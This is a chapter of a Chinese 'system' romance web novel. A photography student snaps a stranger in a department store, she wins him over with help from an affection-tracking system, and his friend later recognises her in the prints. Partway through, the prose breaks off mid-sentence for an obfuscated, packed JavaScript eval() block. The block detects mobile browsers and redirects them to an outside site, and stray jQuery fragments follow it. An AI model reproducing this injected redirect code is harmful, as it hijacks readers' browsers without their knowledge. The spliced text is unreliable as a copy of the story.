刺眼的阳光硬生生把江秋明晒醒了。


    他懵了好一会儿，才从陌生的天花板认出这是阎苏柏家的客房。屋里静悄悄的，房主人应该早就去上班了。


    “啧，卷王。”他腹诽着，赖在床上摸过桌上的相机。冰凉的金属外壳贴着手心，他忍不住又摩挲了几下镜头。


    这大宝贝疙瘩，条件允许的话，他真想这么过一辈子。


    但现实显然不允许，他和相机亲热了好一会儿，还是得磨磨蹭蹭地爬起来，潦草地抹了把脸往外走。路过街口那块小黑板，上面的粉笔字让他脚步猛地一顿——


    啥玩意，今儿是他姐生日！


    “靠！”他懊恼地一拍脑门，原本迈向公交站的脚硬生生转了个弯，一头扎进了路口的百货商场。


    首都经济繁荣，经济开放后物资丰富，市里新建了不少百货商场，想买东西方便多了。工作日上午的商场冷清得很，售货员都三三两两地聚在一起闲聊，瞧见他进来眼皮都没抬，只懒洋洋地互相递了个眼色。


    江秋明也不喜欢人招待，自己漫无目的地经过一个又一个柜台。


    手表？不行，去年送过，再说了，他姐抽屉里躺着的能开个钟表铺。


    衣服？更不行！上回买的被他姐嫌弃得塞给了老妈，结果连老妈也嫌弃不肯穿。


    瞧瞧瞧瞧，这简直是打自己艺术从业者的脸！


    江秋明越想越无语，实在无法理解凡人的审美。不然找人写副“大展鸿图”糊弄过去算了？他这么想着，目光却一瞬间被丝巾柜台牢牢吸住。


    准确来说，攫住江秋明目光的，并非货架上那些招摇的花色丝巾，而是背对着他、伫立在柜台前的那抹身影。


    学艺术的人，出于习惯，看人下意识会先用审视的眼光扫一遍。


    那是个穿着朴素的姑娘，背影修长挺拔。乌黑的长发用皮筋松松挽起，露出一截白皙的后颈。他惊讶于女人比例的优越，没经过大脑，手指先按上了快门。


    “咔嚓！”


    清脆的机械声在空旷的商场里显得格外突兀。


    那姑娘闻声蓦然回首！


    巨大的视觉冲击让江秋明脑子嗡的一声，手指完全不受控制地再次按下了快门——这一次，镜头精准地框住了她的正脸。


    卧槽！她…她好漂亮！


    卧槽！她回头了！她在看我！


    卧槽！我干了什么？我刚才偷拍她了！


    惊艳感和冒犯的慌乱在脑子里疯狂对冲，江秋明整个人彻底宕机，像个被按了暂停键的木偶，连呼吸都忘了。


    “同志，”清凌凌的嗓音响起，瞬间将他从傻愣状态中惊醒。林若棠微微蹙着眉，眼神锁定他和他手中的相机，“你这是做什么？”


    声音不高，却带着点危险。要不是眼前这男人瞧着蠢兮兮的，实在不像个有预谋的流氓，她早就扬起声音叫人给他就地正法扭送警察局了。


    “我、我……，对不起，我不是故意的，对不起……”江秋明感觉自己的舌头像是被冻住了，每一个音节都艰难地往外蹦。作为从小在交际场里打滚的二代，他从未想过自己也会有词穷到恨不得钻地缝的一天。


    可眼前这姑娘清凌凌的目光一扫过来，他脑袋里就像塞进了一团乱麻，所有引以为傲的机灵劲儿都死机了，只剩下“完蛋了”三个大字在疯狂刷屏，脸上火辣辣地烧。


    “系统，你确定这货是书里的重要男配？”林若棠面上差点没绷住，心里戳了戳系统。


    不是不相信，这货……真有点太二了。


    系统拉出了面板，一个照面，江秋明的好感度已经来到了30，然而，那数字并非静止，而是像接触不良的灯泡一样，急促地闪烁明灭，甚至开始以一种缓慢却坚定的趋势向下滑落！


    系统的电子音在她脑中尖啸起来，充满了十万火急的意味，【宿主别发呆了！男配好感度要崩了！快！快说点什么稳住他！立刻！马上！要跌破25了！！】


    她没再说话，目标明确地伸出手——不是指向他，而是径直伸向他紧攥在胸前的相机。


    江秋明大脑一片空白，在对方平静的注视下，他几乎是带着一种赴死般的悲壮，松开了手，任由宝贝相机被林若棠轻轻抽走。


    林若棠熟练地操作着相机，翻看两张证据。寂静中，只有相机按键轻微的按压声。时间仿佛被拉长。就在江秋明快要被这沉默压垮时——


    一声极轻的、带着点玩味的哼笑从林若棠唇边逸出。


    江秋明猛地抬头，撞进她带着一丝奇异光芒的眼底。


    “拍得不错，洗出来记得给我一份？”


    “你……你不生气？”江秋明傻眼了。


    “本来挺生气的，”她微微歪头，目光在他脸上停留了片刻，才慢悠悠地补充道，“不过嘛…技术还行，角度抓得刁钻，光影也衬人…看在你拍得还顺眼的份上，气就消了一半。”


    “你觉得，我拍得不错？”江秋明不敢置信地问出这句话。


    作为摄影系里“装备最壕、成绩最烂”的著名吊车尾，虽然碍于背景，没人敢当面指着鼻子骂他菜，但那些欲言又止的眼神、小组合作时的推拒、教授评图时委婉的叹息…都像一根根细针，扎得他心里发紧。


    但现在，他居然被刚刚冒犯过，素未谋面的陌生人给肯定了。


    黑发男生高高大大，直勾勾地盯着林若棠，一双黑沉沉的眸子里波涛汹涌。


    林若棠眨了眨眼，长长的睫毛像蝶翼般扇动了一下，忽然展颜一笑，带着点狡黠和浑然天成的自信：“嗯…拍得是还行。”她拖长了调子，指尖轻轻点了点自己的脸颊，“不过嘛——也可能是我长得好，这个因素占比更大一点喏。”


    【恭喜宿主，江秋明好感度50。】


    够大方的，和某人相比。


    林若棠心里也给小江同志加了印象分^_^。


    江秋明站在原地，望着女孩离去的背


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849451|173593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    影，手里紧紧攥着相机。直到售货员实在看不下去了，喊了两声，他才如梦初醒。


    不是，就这么走了，他连地址连人家叫什么都不知道呢！


    ——


    阎苏柏到的时候，江秋明家门口已经停了不少小轿车。北京内环其实没繁华到哪儿去，甚至因为江家的住所毗邻内环，周围保全了不少古建筑而显得有些老旧。


    阎苏柏随手把带来的礼物交给保姆，看了一眼客厅，问：“秋明呢？”


    “今儿中午回来就给自己关屋里了，到现在都没出来。”


    “我上去看看。”


    阎苏柏敲了敲门，里头传来不耐烦的声音。


    “干嘛，说了别吵我。”


    “是我，阎苏柏。”


    “门没锁，你进来吧。”闷闷的声音隔了一分钟才响起。


    阎苏柏推开门进去，一股浓烈而独特的化学气味瞬间充满了鼻腔。房间里没开大灯，唯一的光源是角落的一盏安全灯。


    在这片压抑的光影中，阎苏柏一眼就看到了江秋明。


    他背对着门口，几乎整个人趴在长条工作台上。工作台上凌乱不堪：几个盛放着不同药液的大号方盘、夹子、量杯，还有成卷的底片盒胡乱堆放着。唯一还算整齐的是工作台尽头，夹着几张刚刚显影完毕、还湿漉漉滴着药液的照片。


    “赶紧换衣服，不然阿姨等会儿要骂你了。”阎苏柏靠在门框上斜睨他。


    “阎哥！”江秋明直起身扭了扭僵硬的脖子，那双眼睛亮得灼人，“我今天碰见个姑娘，她真的……，看见她第一眼，我居然不会说话了，多新奇呐。”


    阎苏柏笑他：“怎么，你小子第一面就爱上了？”


    “行啊，喜欢就追。你爸妈也盼你收收心正经找个对象。”他声音带着点鼓励，不动声色地扫过江秋明兴奋的脸。


    “可我连她姓啥、住哪儿、电话都没有！”江秋明懊恼地抓了把头发，但下一秒，那点沮丧就被更亮的光取代。他献宝一样，极其小心地夹起一张滴着药水的湿漉漉照片，“阎哥，你也帮我看看！万一你碰见了呢？你看这背影！还有这……”


    两张照片颜色还没上完，这里光线又模糊，阎苏柏原本漫不经心地凑过去，目光触及第一张照片上模糊却绰约的背影时，他插在裤兜里的手几不可察地收紧。当江秋明带着灼热的兴奋，指尖几乎戳到第二张照片上那张清晰无比的侧脸时——


    照片上那个人，气质稠艳，即使颜色还没上完，也毫不影响辨识度。


    赫然就是他熟得不能再熟的熟人。


    阎苏柏看着那张小小的照片，眼神沉了下来。


    江秋明还沉浸在兴奋里，没察觉他的异样，兀自说着：“是不是特好看？完全长在我审美上了！她还懂照相，说我拍得不错！还说我们下次……”他忽然发现阎苏柏沉默得过分。


    “阎哥？”江秋明脸上的笑容僵住，疑惑地问，“怎么……你认识？”